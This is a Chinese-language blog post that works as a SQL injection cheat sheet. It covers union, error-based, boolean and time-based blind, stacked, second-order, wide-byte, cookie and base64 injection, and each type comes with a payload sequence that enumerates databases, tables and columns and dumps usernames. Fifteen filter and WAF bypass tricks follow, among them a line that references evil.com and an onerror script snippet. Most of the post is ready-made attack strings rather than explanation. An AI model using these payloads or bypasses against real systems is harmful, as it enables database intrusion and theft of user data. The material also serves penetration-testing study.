sql注入的基础语法以及注入绕过

mac2025-01-20  45

sql注入的语法

测试类型(整形,字符型)

1或者1‘1 and 1=11 and 1=21 or 1=11 or 1=2

联合注入:

?id=1?id=1 order by 3?id=-1 union select 1,2,3?id=-1 union select 1,database(),3?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘pentest’),3?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘pentest’ and table_name=‘news’),3?id=-1 union select 1,(select group_concat(id,title) from pentest.news),3

报错注入:

?username=a’ and updatexml(1,concat(0x7e,(database()),0x7e),1)–+?username=a’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from - information_schema.tables where table_schema=‘test’),0x7e),1)–+?username=a’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘test’ and table_name=‘users’),0x7e),1)–+?username=a’ and updatexml(1,concat(0x7e,(select group_concat(username) from test.users),0x7e),1)–+

布尔盲注:

?id=1’ and length(database())>=8–+?id=1’ and substr(database(),1,1)=‘a’–+?id=1’ and substr((select group_concat(table_name) from information_schema.tables where table_schema=‘security’),1,1)=‘a’–+?id=1’ and substr((select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),1,1)=‘a’–+?id=1’ and substr((select group_concat(username) from security.users),1,1)=‘a’–+

时间盲注:

?id=1 and if(length(database())>=4,sleep(3),1)?id=1 and if((substr(database(),1,1)=‘a’),sleep(3),1)?id=1 and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=‘test’ limit 0,1),1,1)=‘a’,sleep(3),1)?id=1 and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=‘test’ and table_name=‘users’ limit 0,1),1,1)=‘a’,sleep(3),1)?id=1 and if(substr((select group_concat(username) from test.users limit 0,1),1,1)=‘a’,sleep(3),1)

堆叠注入:

?id=1;select if(length(database())>=4,sleep(5),1)?id=1;select if(substr(database(),1,1)=‘t’,sleep(5),1)?id=1;select if(substr((select group_concat(table_name) from information_schema.tables where table_schema=‘test’ limit 0,1),1,1)=‘a’,sleep(5),1)?id=1;select if(substr((select group_concat(column_name) from information_schema.columns where table_schema=‘test’ and table_name=‘users’ limit 0,1),1,1)=‘a’,sleep(5),1)?id=1;select if(substr((select group_concat(username) from test.users limit 0,1),1,1)=‘a’,sleep(5),1)

二次注入:

double2.php?id=double1.php?username=xiaodaidai &password=123456double1.php?username=daidai’ &password=123456double1.php?username=daidai’ order by 4–+double1.php?username=daidai’ union select 1,2,3–+double1.php?username=daidai’ union select 1,database(),3–+double1.php?username=daidai’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘test’),3–+double1.php?username=daidai’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘test’ and table_name=‘users’),3–+double1.php?username=daidai’ union select 1,(select group_concat(username) from test.users),3–+

宽字节注入:%df

?id=1%df’ order by 6–+?id=-1%df’ union select 1,2,3–+?id=-1%df’ union select 1,database(),3,4,5,6–+?id=-1%df’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=(select database())limit 0,1),3,4,5,6–+?id=-1%df’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1) limit 0,1),3,4,5,6–+?id=-1%df’ union select 1,(select group_concat(username) from test.users),3,4,5,6–+

cookie注入:burp抓包,在cookie位置进行注入

?id=1?id=1 order by 6?id=-1 union select 1,2,3,4,5,6?id=-1 union select 1,database(),3,4,5,6?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘test’),3,4,5,6?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘test’ and table_name=‘users’),3,4,5,6?id=-1 union select 1,(select group_concat(username) from test.users),3,4,5,6

base64注入

id= 后面的全部通过base64编码进行运行

?id=1 and 1=1 1=2?id=1 order by 6?id=1 union select 1,2,3,4,5,6?id=1 union select 1,database(),3,4,5,6?id=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘test’),3,4,5,6?id=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘test’ and table_name=‘users’),3,4,5,6?id=1 union select 1,(select group_concat(username) from test.users),3,4,5,6

sql绕过方法:

1.双写绕过:

系统会过滤遇到的第一个完整的单词 比如:aanndd 1=1,当and被过滤后,aanndd变成了and

2.大小写绕过:(大小写夹杂)

用于只针对小写或大写的关键字匹配技术,正则表达式 /express/i 大小写不敏感即无法绕过,这是最简单的绕过技术 举例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4

3.替换关键字(成功几率较小,不建议使用,)

比如:z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4 同样是很基础的技术,有些时候甚至构造得更复杂:SeLSeselectleCTecT,

4.URL编码绕过

由于服务器会自动对URL进行一次URL编码,所以需要把关键字编码两次,这里需要注意的地方是,URL编码需要选择全编码,而不是普通的URL编码。如:

关键字and进行两次URL全编码的结果是%25%36%31%25%36%65%25%36%34,访问id=1 %25%36%31%25%36%65%25%36%34 1=1时,页面返回和id=1相同,访问id=1 %25%36%31%25%36%65%25%36%34 1=2时,和id=1不同,所以该页面一定存在sql注入漏洞。
5.十六进制编码绕过(前者是对单个字符十六进制编码,后者则是对整个字符串编码)

比如:target.com/index.php?page_id=-15 /!u%6eion/ /!se%6cect/ 1,2,3,4… SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

6.Unicode编码绕过
7.使用注释(内联注释使用的更多)

常见的用于注释的符号://, – , //, #, --+,-- -, ;,–a 举例:page_id=-15 %55nION//%53ElecT 1,2,3,4 'union%a0select pass from users# 内联注释用的更多,它有一个特性/!/只有MySQL能识别 举例:index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3 ?page_id=null%0A///!50000%55nIOn//yoyu/all/**/%0A/!%53eLEct/%0A/nnaa/+1,2,3,4…

8.等价函数与命令

某些函数或命令,因为WAF的过滤机制导致我们无法使用。那么,我们也可以尝试用一些等价函数来替代它们 • 1.函数或变量 • hex()、bin() —> ascii() • sleep() —>benchmark() • concat_ws()—>group_concat() • mid()、substr() —> substring() • @@user —> user() • @@datadir —> datadir()

• 2.符号 • and和or有可能不能使用,或者可以试下&&和||能不能用;还有=不能使用 的情况,可以考虑尝试<、>,因为如果不小于又不大于,那边是等于了 • 如 id=1 or 1=1 可以换成 id=1 or 1!=2 • 在看一下用得多的空格,可以使用如下符号表示其作用:%20 %09 %0a %0b %0c %0d %a0 /**/

• 3.生僻函数 • MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘ ’,’/script/@x/’,’src=//evil.com’); • ?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1)) • SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql • ?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); • MySQL、PostgreSQL、Oracle它们都有许多自己的函数,基于黑名单的 filter要想涵盖这么多东西从实际上来说不太可能,而且代价太大,看来黑 名单技术到一定程度便遇到了限制

9.逗号绕过

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。 对于substr()和mid()这两个方法可以使用from to的方式来解决。 substr(),mid()

select substr(database() from 1 for 1); select mid(database() from 1 for 1);   使用join:

union select 1,2 #等价于 union select * from (select 1)a join (select 2)b

使用like: select ascii(mid(user(),1,1))=80 #等价于 select user() like ‘r%’

对于limit可以使用offset来绕过: select * from news limit 0,1 等价于下面这条SQL语句 select * from news limit 1 offset 0

10.十六进制绕过(引号绕过)

在SQL语句的数据区域可以采用十六进制绕过敏感词汇

select a from yz where b=0x32;select * from yz where b=char(0x32);
11.新学习了一种骚骚的注入姿势in、between、order by
select * from yz where a in (‘aaa’);select substr(a,1,1) in (‘a’) from yz ;select * from yz where a between ‘a’ and ‘b’;select * from yz where a between 0x89 and 0x90;
12.注释符绕过

在注入时的注释符一般为# --当两者不能用时就不能闭合引号 这里介绍一个奇*巧技 select 1,2,3 from yz where ‘1’/1=(1=1)/‘1’=‘1’ (1=1)中就有了判断位为下面的注入打下基础

13.比较符号(<>)绕过(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本):

使用greatest()、least():(前者返回最大值,后者返回最小值)

select * from users where id=1 and ascii(substr(database(),0,1))>64 此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。 那么上面的这条sql语句可以使用greatest变为如下的子句:select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
14.or and xor not绕过:

and=&& or=|| xor=| not=!

15.常用注释符:

//,-- , /**/, #, --+, – -, ;,%00,–a

最新回复(0)